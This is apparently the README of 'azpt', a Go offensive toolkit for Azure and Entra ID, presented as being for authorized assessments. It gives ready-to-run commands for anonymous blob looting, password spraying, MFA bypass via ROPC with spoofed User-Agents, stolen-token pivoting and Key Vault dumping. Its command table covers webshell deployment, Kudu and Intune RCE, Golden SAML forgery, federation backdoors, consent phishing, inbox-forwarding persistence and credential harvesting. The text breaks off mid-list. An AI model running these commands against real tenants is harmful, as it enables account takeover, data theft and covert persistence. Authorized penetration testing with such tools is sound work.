
Go toolkit for authorized Azure security assessments: enumerates subscriptions and resources, audits misconfigurations, and attacks public Blob storage anonymously.
azpt)🚧 Public beta.
azptis under active development — commands, flags, and output formats may still change between releases. Bug reports and feedback are welcome via GitHub issues.
azpt is a Go toolkit for authorized Azure security assessments. It works
from two perspectives:
⚠️ Authorized use only. Run this only against tenants, subscriptions, and storage accounts you have explicit written permission to test. The anonymous
blobcommands touch third-party infrastructure over the internet — scope them to your engagement.
All examples below target a fictional Acme Corp whose static marketing site
is hosted from an Azure storage account named acmewebsite
(https://acmewebsite.blob.core.windows.net).
Full documentation lives in docs/:
docs/guides/) — per feature: how the
technique works, the exact Azure RBAC / Microsoft Graph permission it needs,
the key flags explained, examples, and OPSEC / detection notes — organized by
engagement phase.docs/guides/scenarios/)
— end-to-end attack narratives that chain commands across phases (token →
Global Admin, Golden SAML takeover, PRT theft, consent phishing → M365,
managed-identity lateral movement, offline directory hunt, device-code
phishing), each with OPSEC and cleanup.docs/reference/) — an auto-generated
page per command with every flag (name, shorthand, type, default,
description). Regenerate with azpt gen-docs docs/reference; the same info
prints from azpt <command> --help.Download the archive for your platform from the latest release, verify it, and extract:
# adjust VERSION/OS/ARCH to match the asset you downloaded
tar -xzf azpt_<VERSION>_<OS>_<ARCH>.tar.gz
sha256sum -c --ignore-missing SHA256SUMS
Binaries are static (CGO_ENABLED=0) and need no runtime dependencies.
Builds are published for linux and darwin on amd64 and arm64.
Windows binaries are not published. The Windows-only helpers (prt extract,
adconnect sync-creds, DPAPI) still build from source with go build -o azpt.exe . on a Windows host.
Requires Go 1.26+.
git clone https://github.com/hac01/azure-pentesting-suite.git
cd azure-pentesting-suite
go build -o azpt .
This produces a self-contained azpt binary in the repo root. You can also run
without building via go run . <command> from the repo directory.
No Azure login is needed for the anonymous blob commands:
# One command: probe Acme's storage, enumerate versions, flag secret files
./azpt blob hunt --account acmewebsite
With Azure credentials (az login), assess from the inside — both the resource
plane (ARM) and the directory (Entra ID / Graph):
./azpt enum whoami # who am I authenticated as?
./azpt enum subscriptions # what subscriptions can this principal see?
./azpt audit storage # misconfigured storage accounts
./azpt enum users # dump the Entra ID directory (Graph)
A common chain: recover a credential anonymously with blob hunt, log in as
that user (az login), check what it can do with enum access, then loot any
Key Vaults you can reach:
./azpt enum access # token scopes, directory roles, groups, RBAC roles
./azpt enum resources # find Key Vaults (type: vaults)
./azpt vault list --vault ext-contractors # secrets, keys, certs in that vault
./azpt vault dump --vault ext-contractors # read every secret value (the loot)
The anonymous blob commands need no authentication. Everything else uses
the Azure default credential chain, which tries, in order: environment
variables, workload identity, managed identity, and the Azure CLI (az login).
az login
./azpt enum subscriptions
Force explicit service-principal auth (useful for a scoped assessment
identity) with flags or environment variables. Don't have one yet? az ad sp create-for-rbac --name azpt-assessment --role Reader --scopes /subscriptions/<subscription-id> mints one — see Getting
started for the
full walkthrough, including the Graph permissions RBAC alone won't grant you:
./azpt --tenant <tenant-id> --client-id <app-id> --client-secret <secret> \
enum subscriptions
# equivalently:
export AZURE_TENANT_ID=... AZURE_CLIENT_ID=... AZURE_CLIENT_SECRET=...
./azpt enum subscriptions
Certificate-based auth (PFX or PEM):
./azpt --tenant <tenant-id> --client-id <app-id> \
--certificate ./cert.pfx --cert-password 'P@ss' \
enum subscriptions
Scope authenticated runs to specific subscriptions with --subscription
(repeatable); the default is every subscription the principal can reach:
./azpt --subscription 00000000-1111-2222-3333-444444444444 audit storage
🧪 marks a command still in beta: implemented and usable, but less battle-tested than the rest of the suite — expect rougher edges, and please report issues you hit.
azpt talks to three Azure APIs. The ARM commands use the Azure SDK; the
Graph commands (Entra ID / directory objects) use a raw Graph token from the
same credential; the Blob commands are fully anonymous.
Global flags (before the subcommand): --json, --jsonl (NDJSON, for
streaming/BloodHound-style pipelines), --opsec (print detection surface
before running), --subscription <id> (repeatable), --tenant, --client-id,
--client-secret, --certificate (PFX/PEM), --cert-password,
--access-token (repeatable, or AZPT_TOKEN), --refresh-token (FOCI
auto-pivot), --cloud (public | | — retargets ARM/Graph/login
endpoints for sovereign clouds).
All ARM and Graph calls follow nextLink pagination (no silent truncation on
large tenants) and retry on 429/503 honoring Retry-After.
Driving azpt with a stolen token. Any authenticated command accepts a
pre-obtained bearer token via --access-token (or AZPT_TOKEN) instead of
az login — tokens grabbed from an MFA gap (mfa token), a managed identity
(imds), or phishing all work directly. Supply several (ARM, Graph, Storage) and
each is routed to the API whose audience it matches:
azpt --access-token "$(cat arm.jwt)" enum resources
azpt --access-token "$ARM" --access-token "$STORAGE" scan --deep --html graph.html
The classic post-exploitation chain, entirely in azpt:
# unlock via the MFA gap → ARM token
T=$(azpt mfa token -u [email protected] -P 'Passw0rd!' -r arm --confirm --json | jq -r .accessToken)
azpt --access-token "$T" webapp loot # app settings → MSI secret, storage, DB creds
# …on the compromised app host, mint the managed-identity token off IMDS:
azpt imds loot -c "$ENTRA_CLIENT_ID" # ARM + Storage tokens for the app's identity
# pivot with the storage token:
azpt --access-token "$STORAGE_TOKEN" storage containers --account corpstorage
blob flags (all blob subcommands): --account <name> (required),
--container <name> (default $web), --api-version <ver> (default
2021-08-06; must be ≥ 2019-12-12 for version enumeration),
--endpoint-suffix <suffix> (default core.windows.net; set to
core.usgovcloudapi.net / core.chinacloudapi.cn for sovereign clouds).
Run ./azpt <command> --help for the full flag list of any command.
The recon commands are the front of an engagement: given nothing but a domain
name, determine whether the org uses Entra ID, find its tenant ID, map its
Azure footprint, and validate usernames — all unauthenticated.
# Is contoso.com on Entra ID, and what's the tenant ID?
./azpt recon realm contoso.com
./azpt recon tenant contoso.com
# One-shot outsider posture (realm + tenant + mail/DNS security)
./azpt recon outsider contoso.com
# Map the Azure footprint by brute-forcing service subdomains.
# Wildcard services (e.g. Front Door) are auto-detected and skipped.
./azpt recon subdomains contoso --threads 30
# Validate candidate usernames (o365 enumeration; does not lock accounts)
./azpt recon users [email protected] [email protected]
./azpt recon users --user-file names.txt
# Generate username patterns from a name and validate them
./azpt recon users --first jane --last doe --domain contoso.com
sprayOnce you have valid usernames and a candidate password (e.g. from a breach corpus), test it. This is a single password across many users (a spray, not a per-user brute force that locks accounts), but it is still noisy and can trigger lockouts and alerts.
./azpt spray --user-file valid-users.txt --password 'Spring2026!' --confirm
--confirm is mandatory — omit it and the command refuses to run. Results are
classified: valid, valid-but-MFA-required, disabled, locked (stop!), or invalid.
Codes that only occur after the password is verified (MFA, expired, CA) are
reported as valid credentials.
⚠️ Password spraying is an intrusive, detectable technique. Run it only against tenants you have explicit written authorization to test.
mfaYou have valid credentials for a user but the Azure Portal prompts for MFA.
Conditional Access policies are frequently scoped by resource, client app,
and device platform (which Entra derives from the User-Agent). If a policy
only requires MFA when a request matches one of those conditions, a request that
matches none — e.g. an unusual device-platform User-Agent — can obtain a
token with no MFA at all. This is the same technique as
FindMeAccess, using the ROPC flow.
# Sweep resources / clients / device-platform User-Agents for a gap.
./azpt mfa audit -u [email protected] -P 'Passw0rd!' --confirm
[·] MFA Azure Resource Manager Azure PowerShell Windows 10 / Chrome — MFA required (Conditional Access enforced)
[·] MFA Azure Resource Manager Azure PowerShell macOS / Safari — MFA required (Conditional Access enforced)
[+] GAP Azure Resource Manager Azure PowerShell PlayStation 5 — TOKEN ISSUED — no MFA challenge
...
OVERVIEW 10 attempts · 3 MFA gaps · 6 MFA-enforced · 0 blocked
[+] MFA GAP CONFIRMED — 3 combination(s) returned a token with no MFA:
Azure Resource Manager via client "Azure PowerShell" · User-Agent "PlayStation 5"
The gap here is a device-platform condition where all platforms are selected — which looks secure, but the evaluation only enforces MFA when the User-Agent matches one of them. A User-Agent matching none (a PlayStation 5, or a made-up string) is granted access. Now grab a usable token and pivot in:
# Auto-tries User-Agents until one bypasses MFA; prints the token + a usage hint.
./azpt mfa token -u [email protected] -P 'Passw0rd!' \
-r "https://management.azure.com" --confirm
# → ACCESS TOKEN (ARM), plus:
# Connect-AzAccount -AccessToken $t -AccountId "j.doe"
-r / -c accept either a full URL / app-ID or a short name (storage,
graph, keyvault; cli, office, teams). Get a Storage token the same
way to reach blob data an ARM token can't:
./azpt mfa token -u [email protected] -P 'Passw0rd!' -r storage --confirm
--confirm is mandatory. ROPC sends real credentials to the token endpoint, so
repeated attempts can lock the account and raise sign-in alerts — the sweep is
staged (baseline, then User-Agents, then --full widens to every client and
resource) to keep the request count low, and --delay <ms> throttles it.
⚠️ ROPC-based MFA testing is intrusive and logged (it appears in Entra sign-in logs as ROPC auth). Authorized engagements only.
This is the flagship workflow: compromising a static website hosted from Azure
Blob storage, with zero credentials. Anonymous listing works when a
container's public access level is set to Container; version enumeration
additionally requires blob versioning to be enabled on the account.
For a deeper explanation of each step and why it works, see
docs/blob-anonymous-attacks.md.
# 1. Is the static-website container anonymously reachable?
./azpt blob check --account acmewebsite index.html
# -> HTTP 200 accessible=true
# 2. List the $web container (the default). Note the "versioning:" line —
# if it says ENABLED, historical files may be recoverable.
./azpt blob list --account acmewebsite
# 3. Enumerate versions. This surfaces files removed from the live site,
# e.g. an old backup archive with CURRENT=false.
./azpt blob versions --account acmewebsite
# 4. Copy the exact VERSION value of the interesting blob and download it.
./azpt blob download --account acmewebsite backups/site-transfer.zip \
--version-id '2025-03-14T09:22:10.1234567Z' -o loot.zip
# 5. Inspect the loot.
unzip loot.zip
blob hunthunt automates steps 1–4: it probes a list of common container names, and for
each one that is anonymously listable it enumerates versions and reports every
secret-bearing file as a finding.
./azpt blob hunt --account acmewebsite
account acmewebsite — anonymously listable containers: [$web]
SEVERITY CATEGORY TITLE RESOURCE
HIGH blob-anon Sensitive file exposed anonymously: site-transfer.zip backups/site-transfer.zip
MEDIUM blob-anon Container allows anonymous listing $web
MEDIUM blob-anon Historical blob versions anonymously retrievable $web
LOW blob-anon Blob versioning is enabled $web
Custom container list — override the built-in wordlist:
./azpt blob hunt --account acmewebsite --containers '$web,backups,assets,private'
Custom detection patterns — --pattern takes case-insensitive regexes
(repeatable). They are checked before the built-ins and flagged HIGH, so they
can outrank the default classification:
./azpt blob hunt --account acmewebsite --pattern 'acme[-_]?corp' --pattern 'prod-'
Nothing about a specific target is hardcoded — the built-in detection is a set of regexes over classes of leak-worthy files (see Findings).
Once you hold credentials, two workflows matter most: understanding what the identity can do, and reaching secrets.
enum accessOne command consolidates the answer, using the token you're already logged in with:
./azpt enum access
It reports, in sections:
/me/memberOfSections you lack permission for are listed under NOTES rather than failing
the whole command. RBAC role assignments use the assignedTo() filter, so
group-inherited roles are included, not just directly-assigned ones.
scanThe capstone: scan enumerates the logged-in principal's entire effective
access — groups, directory roles, RBAC assignments, scopes, and resources — and
builds a BloodHound-style attack graph. It flags high-value targets (Key
Vaults, storage, SQL, web apps, VMs), attributes each role to the user or the
specific group that grants it, and derives scored attack paths with the exact
azpt command to exploit each one.
./azpt scan # text summary: paths ranked by value
./azpt scan --html graph.html # interactive Azure-themed graph (open in a browser)
./azpt scan --loot --html graph.html # deep-scan loot: keys, kubeconfigs, LAPS, creds, snapshots, firewalls, ...
./azpt scan -o graph.json # raw nodes/edges/paths JSON (feed into other tools)
The --html output is a self-contained, dark-themed interactive attack map
(no external dependencies, works fully offline) that renders every node with its
real Azure service icon. It ships with:
Membership relations (who is in which group/role) are only gathered with
scan --deep, which additionally enumerates group and directory-role members so
the web app can plot identity → group → access chains:
./azpt scan --deep --html graph.html # slower; enables expanding identities on the graph
Example text output:
OVERVIEW 3 groups · 1 directory roles · 2 role assignments · 32 resources · 9 high-value · 18 attack paths
[1] score 70 — Customer Database Access on "mbt-finance" → query databases
→ member of group "CUSTOMER-DATABASE-ACCESS"
→ holds "Customer Database Access" on RG content-static-2
→ which contains Azure SQL server "mbt-finance" (query databases)
exploit: azpt sql databases --server <name>
vaultA Key Vault holds secrets, keys, and certificates. Seeing a vault via
enum resources (ARM) does not imply data-plane access — reading its
contents needs a Key Vault access policy (Get/List) or the Key Vault Secrets
User RBAC role. Without it you get 403 Forbidden, which is useful signal.
# Full inventory: secrets, keys, and certificate names (no values)
./azpt vault list --vault ext-contractors
# Read one secret value
./azpt vault get --vault ext-contractors --secret db-connection-string
# Dump every secret value (the loot); redirect to a file with --json
./azpt vault dump --vault ext-contractors
./azpt --json vault dump --vault ext-contractors > vault-loot.json
vault list reports each content type independently, so a vault where you can
list secrets but not keys still shows what you can see — and reveals exactly
which data-plane permissions you hold. A certificate's private key is often
retrievable via vault get --secret <cert-name>, since Key Vault exposes it
through the secret of the same name.
For sovereign clouds or an unusual endpoint, pass --vault-url instead of
--vault.
sqlEnumerate and query Azure SQL databases. Two auth modes:
--user/--password) — needed when the server has no Entra
ID admin (you'll see Login failed ... not currently configured to accept this token on the token path). Try credentials recovered elsewhere — e.g. Key
Vault secrets — here.# Entra ID auth
./azpt sql databases --server mbt-finance
./azpt sql tables --server mbt-finance --database Finance
./azpt sql query --server mbt-finance --database Finance -q "SELECT name FROM sys.tables"
./azpt sql dump --server mbt-finance --database Finance --table dbo.Customers --limit 50
# SQL login (recovered creds)
./azpt sql databases --server mbt-finance -U alissa-suarez -P '<password>'
The server firewall must permit your source IP either way. Table names in
dump are validated as plain identifiers before use (they can't be
parameterized in T-SQL), so injection via --table isn't possible. sql query is read-only by default — DROP/DELETE/UPDATE/EXEC/xp_cmdshell and other mutating statements are refused unless --allow-write is passed, so an authorized assessment can't accidentally destroy data.
storageThe authenticated counterpart to the anonymous blob commands: uses your
Entra ID credential (equivalent to az storage ... --auth-mode login) to reach
blob containers/blobs and Storage Tables. Requires a data-plane role such as
Storage Blob Data Reader or Storage Table Data Reader — seeing the account
via enum resources (control plane) doesn't grant it; a 403 means you lack
the data role.
# Blobs
./azpt storage containers --account custdatabase
./azpt storage blobs --account custdatabase --container backups
./azpt storage download --account custdatabase --container backups --blob db.bacpac -o db.bacpac
# Storage Tables (often overlooked — can hold raw records)
./azpt storage tables --account custdatabase
./azpt storage entities --account custdatabase --table customers
./azpt storage entities --account custdatabase --table customers --filter "PartitionKey eq '1'" --limit 100
blob vs storage: blob is the external, unauthenticated attacker view
(anonymous listing, version enumeration); storage is the authenticated
view once you hold a credential. Different threat models, both included.
Findings carry a stable ID, severity, evidence, and remediation. The full
catalog with descriptions and fixes lives in
docs/findings.md. Summary:
STOR-* (authenticated audit) and BLOB-* (anonymous) are two sides of the
same coin: STOR-001 says "public access is configured"; BLOB-001 proves it
by actually listing the container from the outside.
Human-readable tables by default; add the global --json flag for structured
output suitable for jq or ingestion into a report pipeline:
./azpt --json audit storage | jq '.[] | select(.severity=="HIGH")'
./azpt --json blob hunt --account acmewebsite > acme-blob-findings.json
Findings are sorted most-severe-first in table output.
main.go
internal/
recon/ unauthenticated outsider recon: realm, tenant, DNS posture,
subdomain enum (wildcard-aware), user enum, password spray
scan/ attack-path graph builder + self-contained Azure-themed HTML viz
azauth/ credential chain, raw token acquisition (ARM + Graph), JWT claims
azure/ SDK wrappers: subscriptions, resources, storage audit + data plane
(blobs/tables), key vault, RBAC
azsql/ Azure SQL client (Entra ID token or SQL login) — query/dump
graph/ Microsoft Graph REST client (users, groups, SPs, apps, memberOf)
blob/ anonymous Blob REST client (list/versions/download) + secret classifier
audit/ pure detection rules over resource views -> findings
model/ shared types: Resource, Finding, Severity, Report
output/ JSON + human-readable table rendering
cli/ cobra command tree, shared bootstrap()
Design principles:
model.Finding. Authenticated and anonymous modules
emit into the same type, so --json and future reports treat them uniformly.blob client speaks the raw
Blob REST API and never constructs a credential.go build ./... # compile everything
go test ./... # run unit tests (no Azure connection required)
go vet ./... # static checks
gofmt -l . # list files needing formatting (should be empty)
The blob client's tests exercise the real request-building and XML-parsing path
against a local httptest server, including version enumeration, pagination,
and the 403 PublicAccessNotPermitted case — no live storage account needed.
--access-token / AZPT_TOKEN + FOCI refresh redemptionenum ca)enum access — token scopes, directory roles, groups, RBACReleased under the MIT License.
azpt is an offensive security tool intended for authorized testing only.
Use it exclusively against tenants and subscriptions you own or have explicit
written permission to assess. You are responsible for how you use it.
| Command | Auth | API | Description |
|---|
recon realm <domain> | ❌ | Identity | Is the domain backed by Entra ID? (Managed/Federated) |
recon tenant <domain> | ❌ | Identity | Discover the tenant ID (OpenID config) |
recon outsider <domain> | ❌ | Identity+DNS | Full outsider recon: realm, tenant, MX/SPF/DMARC/DKIM/MTA-STS |
recon subdomains <base> | ❌ | DNS | Enumerate Azure service subdomains (App Service, Storage, Vault, SQL, ...) |
recon users | ❌ | Identity | Validate whether usernames exist in Entra ID |
spray | ❌ | Identity | Password-spray one password across usernames (authorized only) |
mfa audit | ❌ | Identity | Find MFA-enforcement gaps (ROPC across resources/clients/User-Agents) |
mfa token | ❌ | Identity | Obtain an access token through an MFA gap (auto-tries User-Agents) |
mfa refresh | ❌ | Identity | Redeem a refresh token for another resource's token (FOCI) |
mfa devicecode | ❌ | Identity | Device-code phishing lure → capture tokens after victim signs in |
imds token | ❌ | IMDS | Mint a managed-identity token on a compromised resource (run on-box) |
imds loot | ❌ | IMDS | Grab MI tokens for ARM, Graph, Storage, and Key Vault at once |
enum ca | ✅ | Graph | Enumerate Conditional Access policies and flag MFA gaps |
enum deployments | ✅ | ARM | List ARM deployment history, flag secret-bearing parameters |
webapp list/settings/creds | ✅ | ARM | App Service inventory, app settings, Kudu publishing creds |
webapp exec | ✅ | ARM/Kudu | Run a command on a site via Kudu (RCE) |
webapp loot | ✅ | ARM | Every app: settings + connection strings + Kudu creds, flag secrets |
storage keys | ✅ | ARM | List a storage account's access keys |
storage sas | ✅ | ARM | Mint an account SAS token via ARM |
vm list / vm run | ✅ | ARM | List VMs / run a command via RunCommand |
automation list/loot | ✅ | ARM | Automation runbooks, variables, credential names |
loot keys | ✅ | ARM | Sweep keys/connection strings from Cosmos, ACR, Redis, Service Bus, Event Hub, Cognitive, Batch, App Config, SignalR, Maps |
loot apim | ✅ | ARM | API Management named values (incl. secrets) |
loot logicapps / loot datafactory | ✅ | ARM | Logic App definitions / Data Factory linked services |
aks list / aks kubeconfig | ✅ | ARM | List AKS clusters / grab the cluster-admin kubeconfig |
enum approles | ✅ | Graph | Enumerate Graph app-role grants, flag privesc paths (→ Global Admin) |
enum privroles | ✅ | Graph | Privileged directory-role holders (active + PIM-eligible) |
enum grants | ✅ | Graph | OAuth2 delegated grants (illicit / over-consent), dangerous scopes flagged |
enum laps | ✅ | Graph | Retrieve Windows LAPS local-admin passwords from Entra |
enum bitlocker | ✅ | Graph | Retrieve BitLocker recovery keys from Entra |
enum dynamicgroups | ✅ | Graph | Dynamic (rule-based) groups — self-join / privesc surface |
enum guests / enum devices | ✅ | Graph | Guest (B2B) users / registered devices |
enum risky | ✅ | Graph | Stale/risky hunt: guests, sync SP, break-glass, apps with secrets |
enum intune / intune list | ✅ | Graph | List Intune-managed devices |
intune script | ✅ | Graph | Deploy a PowerShell script to a device group (SYSTEM RCE) |
recon tenantinfo | ❌ | Identity | Deep outsider recon: tenant ID, federation, Seamless SSO, on-prem sync |
entra create-app | ✅ | Graph | Create app + SP + secret (controllable persistence identity) |
entra reset-password | ✅ | Graph | Reset a user's password (account takeover) |
token decode | ❌ | — | Decode a JWT's claims (identity, scopes, roles, wids→role names, expiry) |
elevate-access | ✅ | ARM | Global Admin → User Access Administrator at tenant root (Entra→Azure pivot) |
entra add-member/add-owner | ✅ | Graph | Add a member/owner to a group/app/SP (privesc & persistence) |
entra grant | ✅ | Graph | Create an OAuth2 consent grant (illicit consent) |
entra invite / entra tap | ✅ | Graph | Invite a B2B guest / create a Temporary Access Pass (auth bypass) |
scan --loot | ✅ | ARM+Graph | Deep-scan loot: Function App keys, AKS kubeconfig, LAPS, BitLocker, APIM, DB firewalls, snapshots, custom roles, stale creds |
scan --bloodhound | ✅ | — | Export the Entra+ARM graph as BloodHound CE OpenGraph JSON |
enum adminunits | ✅ | Graph | Administrative Units and their scoped role members (AU-scoped admin abuse) |
enum identities | ✅ | ARM | Map managed identities to their host resources |
enum lighthouse | ✅ | ARM | Azure Lighthouse delegations (external tenants managing this sub) |
enum pip | ✅ | ARM | List public IP addresses across the subscription scope |
entra update-profile | ✅ | Graph | Update a user's profile attributes (dynamic group abuse) |
app add-secret | ✅ | Graph | Add a client secret to an app registration (persistence/privesc) |
app add-federated | ✅ | Graph | Add a federated identity credential (external-IdP persistence) |
webapp functionkeys | ✅ | ARM | Function App host keys (master key → admin API / RCE) |
disk list / disk export | ✅ | ARM | List disks/snapshots / read-SAS export for offline VHD looting |
storage shares / storage queues | ✅ | ARM | List Azure Files shares / Storage queues |
storage peek / storage files | ✅ | Storage | Peek queue message content / list file-share files (data plane) |
loot aci | ✅ | ARM/data | Container Instances env vars |
loot appconfig 🧪 | ✅ | ARM/data | App Configuration key-values |
cosmos list/dump/table | ✅ | ARM+data | Cosmos DB accounts, databases, containers, document reads, Table API |
containerapp loot/exec/steal-token | ✅ | ARM | Container App secrets + env vars / exec into replica / steal MI token |
iot list/devices/invoke | ✅ | ARM+data | IoT Hub keys, device identities, direct-method invocation (device RCE) |
backup vaults/items/restore | ✅ | ARM | Recovery Services vaults, backup items + recovery points, restore disks |
db list/query | ✅ | ARM+data | PostgreSQL/MySQL server enumeration and query (Entra or DB login) |
blob containers | ❌ | Blob | List all containers on a storage account (with --sas for service-level SAS) |
m365 mail/files/sites | ✅ | Graph | Loot mailbox, OneDrive, and SharePoint with a Graph token |
blob brute | ❌ | DNS/Blob | Discover storage accounts by name and probe anonymous containers |
recon takeover | ❌ | DNS | Flag dangling Azure CNAMEs (subdomain takeover) |
audit network | ✅ | ARM | Audit NSG internet exposure and public IPs |
audit keyvault | ✅ | ARM | Audit Key Vault public access, purge/soft-delete, broad policies |
audit rbac | ✅ | ARM | Audit RBAC hygiene: Owner sprawl, UAA, risky custom roles |
enum subscriptions | ✅ | ARM | List subscriptions visible to the current principal |
enum resources | ✅ | ARM | List every resource across the subscription scope (--fast uses Resource Graph; --access adds a column of the RBAC role you hold on each) |
enum kql | ✅ | ARM | Run an arbitrary Azure Resource Graph (KQL) query across the scope |
enum users | ✅ | Graph | List Entra ID directory users |
enum groups | ✅ | Graph | List Entra ID directory groups |
enum service-principals | ✅ | Graph | List service principals / enterprise apps |
enum apps | ✅ | Graph | List app registrations, with secret/cert counts |
enum org | ✅ | Graph | Show tenant/organization info and verified domains |
enum whoami | ✅ | Graph | Show the currently-authenticated user (/me) |
enum access | ✅ | ARM+Graph | Show your effective access: token scopes, directory roles, group memberships, RBAC roles |
scan | ✅ | ARM+Graph | Map the user's access as a BloodHound-style attack-path graph (+ HTML) |
audit storage | ✅ | ARM | Audit storage accounts (public access, TLS, transport, firewall) |
vault list | ✅ | KV | List secrets, keys, and certificates in a Key Vault |
vault get --secret <n> | ✅ | KV | Read a single Key Vault secret value |
vault dump | ✅ | KV | List and read every secret in a Key Vault |
sql databases | ✅ | SQL | List databases on an Azure SQL server |
sql tables | ✅ | SQL | List tables (with row counts) in a database |
sql query -q <sql> | ✅ | SQL | Run a read-only query (mutations need --allow-write) |
sql dump --table <t> | ✅ | SQL | Dump rows from a table |
storage containers | ✅ | Storage | List blob containers (authenticated) |
storage blobs | ✅ | Storage | List blobs in a container (authenticated) |
storage download | ✅ | Storage | Download a blob (authenticated) |
storage tables | ✅ | Storage | List Storage Tables in an account |
storage entities | ✅ | Storage | Query/dump a Storage Table's rows |
blob check <path> | ❌ | Blob | HEAD a blob to test anonymous reachability |
blob list | ❌ | Blob | List a container anonymously (--versions, --delimiter /, --prefix) |
blob versions | ❌ | Blob | Enumerate blob versions — surfaces old/superseded/deleted files |
blob download <path> | ❌ | Blob | Download a blob, optionally a specific --version-id |
blob hunt | ❌ | Blob | Probe containers, enumerate versions, and flag secret-bearing files |
vm show | ✅ | ARM | Detailed VM info: user data, public/private IPs, tags, admin user |
vm extensions | ✅ | ARM | List VM extensions (Custom Script Extension credential leakage) |
vm steal-token | ✅ | ARM | Steal a managed-identity token from a VM via IMDS (RunCommand) |
enum synced | ✅ | Graph | List on-premises synced users with Security Identifiers (SIDs) |
enum powerplatform environments 🧪 | ✅ | PowerApps | List Power Platform environments (Dataverse instances) |
enum powerplatform apps 🧪 | ✅ | PowerApps | List Power Apps canvas applications |
enum powerplatform tables 🧪 | ✅ | Dataverse | List Dataverse tables (entity definitions) |
enum powerplatform query 🧪 | ✅ | Dataverse | Query rows from a Dataverse table via OData |
webapp deploy | ✅ | Kudu | Upload a file to a web app via Kudu VFS (webshell deployment) |
token extract | ❌ | — | Extract tokens from an MSAL token cache file (refresh + access) |
m365 teams/search-mail/search-files | ✅ | Graph | Teams channels, mail search, SharePoint/OneDrive search |
m365 scan | ✅ | Graph | Scan M365 data for secrets, passwords, credentials (14 patterns) |
devops projects/serviceconnections/variablegroups/pipelines | ✅ | DevOps | Enumerate Azure DevOps orgs: projects, service connections (SP/tenant/subscription exposed), variable groups, pipelines |
devops preview | ✅ | DevOps | Resolve a pipeline's final YAML after template/variable expansion without running it |
devops run | ✅ | DevOps | Queue a real pipeline run and capture its build log (executes as the pipeline's service-connection identity) |
arm deploy-script | ✅ | ARM | Run code in a transient ACI container via deploymentScripts (RCE), optionally attaching a managed identity |
persistence grant-rbac | ✅ | ARM | Assign an RBAC role (e.g. Owner) to self or a principal at any scope (privesc/persistence) |
persistence attach-identity | ✅ | ARM | Attach a user-assigned managed identity to a resource (privesc via steal-token) |
aks kubeconfig --user | ✅ | ARM | Fetch the Entra-authenticated user kubeconfig (works on clusters with local accounts disabled) |
k8s secrets | ✅ | K8s | Dump every Kubernetes secret in a namespace (or the whole cluster) |
k8s serviceaccounts | ✅ | K8s | List service accounts, flagging ones federated via Azure Workload Identity |
k8s pods | ✅ | K8s | List pods and the service account each runs as |
k8s rbac | ✅ | K8s | Enumerate cluster/role bindings, flagging cluster-admin/wildcard/pod-exec/secrets-read privesc paths |
k8s exec | ✅ | K8s | Run a command in a pod (non-interactive RCE, as that pod's service account) |
k8s steal-token | ✅ | K8s | Mint a service-account token via the TokenRequest API (works with no mounted token secret) |
k8s pivot-azure | ✅ | K8s→Entra | Steal a workload-identity-federated SA token and exchange it for a real Azure AD access token |
harvest | ❌ | — | Loot az CLI / Az PowerShell credential stores on disk (tokens, SP secrets; DPAPI-protected stores on Windows) |
prt nonce 🧪 | ❌ | Identity | Fetch a server nonce (srv_challenge) for PRT cookie signing |
prt cookie 🧪 | ❌ | Identity | Build a signed x-ms-RefreshTokenCredential SSO cookie from a PRT + session key (KDF v2) |
prt auth 🧪 | ❌ | Identity | Full PRT SSO chain: nonce → cookie → authorize → access + refresh token |
prt extract 🧪 | ❌ | Identity | On-host (Windows): pull a fresh SSO cookie from BrowserCore.exe and redeem it (ROADtoken) |
device register | ✅ | DRS | Register a rogue device (join) → device cert/key — PRT prerequisite, device-CA bypass, persistence |
federation list | ✅ | Graph | Show a domain's federation configuration |
federation backdoor | ✅ | Graph | Convert a managed domain to Federated, trusting an attacker STS (AADInternals ConvertTo-AADIntBackdoor) |
federation golden-saml 🧪 | ❌ | Identity | Forge a signed SAML assertion for any user and redeem it for tokens (Golden SAML) |
federation remove | ✅ | Graph | Delete a federation configuration (revert to Managed / cleanup) |
entra phish-app create 🧪 | ✅ | Graph | Mint a multi-tenant OAuth consent-phishing app + consent URLs (GraphRunner Invoke-InjectOAuthApp) |
entra phish-app serve | ❌ | Identity | Local listener that catches the consent auth code and redeems it for tokens |
m365 rules list/add/delete | ✅ | Graph | Inbox forwarding rules (silent mailbox-forwarding persistence) |
scan dump | ✅ | ARM+Graph | Pull the directory + attack graph into an offline pure-Go SQLite database |
scan query <view> | ❌ | — | Run canned analytic views (admins, password-resetters, dangerous-approles, …) against a dump |
adconnect sync-creds | ✅ | ADSync SQL | Dump encrypted AD Connect sync bind-credentials from the ADSync DB (decrypt with AADInternals Get-AADIntSyncCredentials) |
usgovchina| ID | Severity | Meaning |
|---|
STOR-001 | HIGH | Storage account allows blob public (anonymous) access |
STOR-002 | MEDIUM | HTTPS-only transfer not enforced |
STOR-003 | MEDIUM | Minimum TLS version below 1.2 |
STOR-004 | LOW | Shared Key (account key) access enabled |
STOR-005 | MEDIUM | Storage reachable from all networks (firewall default-allow) |
BLOB-001 | MEDIUM | Container allows anonymous listing |
BLOB-002 | LOW | Blob versioning is enabled (history may be recoverable) |
BLOB-003 | MEDIUM | Historical blob versions anonymously retrievable |
BLOB-010 | varies | Sensitive file exposed anonymously (severity from classifier) |
blob brute)recon takeover)audit network)audit keyvault/rbac)scan: BloodHound-style attack-path graph (text + JSON + HTML) joining
Entra ID (groups/roles) with ARM RBAC + resources--cloud)token decode utility (claims + wids→directory-role mapping)scan privesc graphrecon tenantinfo: federation / Seamless SSO / on-prem sync)enum risky); Intune device enum + script-push RCE (intune)scan --bloodhound)scan (owned SP/app/group → Global Admin)--deep)mfa devicecode)scan --audit → Findings tab)entra update-profile)blob containers --sas)recon users --first --last --domain)enum identities), Lighthouse delegations, public IPsscan --loot deep scan: Function App keys, AKS kubeconfig, LAPS passwords, BitLocker keys, APIM secrets, DB firewall rules, disk snapshots, custom RBAC wildcard roles, stale SP credentials, Logic App definitions--certificate PFX/PEM)webapp deploy) for webshell deploymentenum synced)token extract — refresh + access tokens from .azure/msal_token_cache.json)m365 scan)devops)deploymentScripts RCE via transient ACI container, with managed-identity attach (arm deploy-script)persistence)k8s — secrets, service accounts, pods, RBAC privesc enumeration, non-interactive pod exec, service-account token minting)k8s pivot-azure)enum kql) + single-query estate listing (enum resources --fast)harvest): az CLI (accessTokens.json, azureProfile.json, service_principal_entries.json, MSAL cache) and Az PowerShell (AzureRmContext.json, DPAPI TokenCache.dat on Windows)prt): KDF v2 x-ms-RefreshTokenCredential SSO-cookie forge from a PRT + session key, full nonce→cookie→authorize→token chain; on-host BrowserCore.exe extraction (Windows)device register): 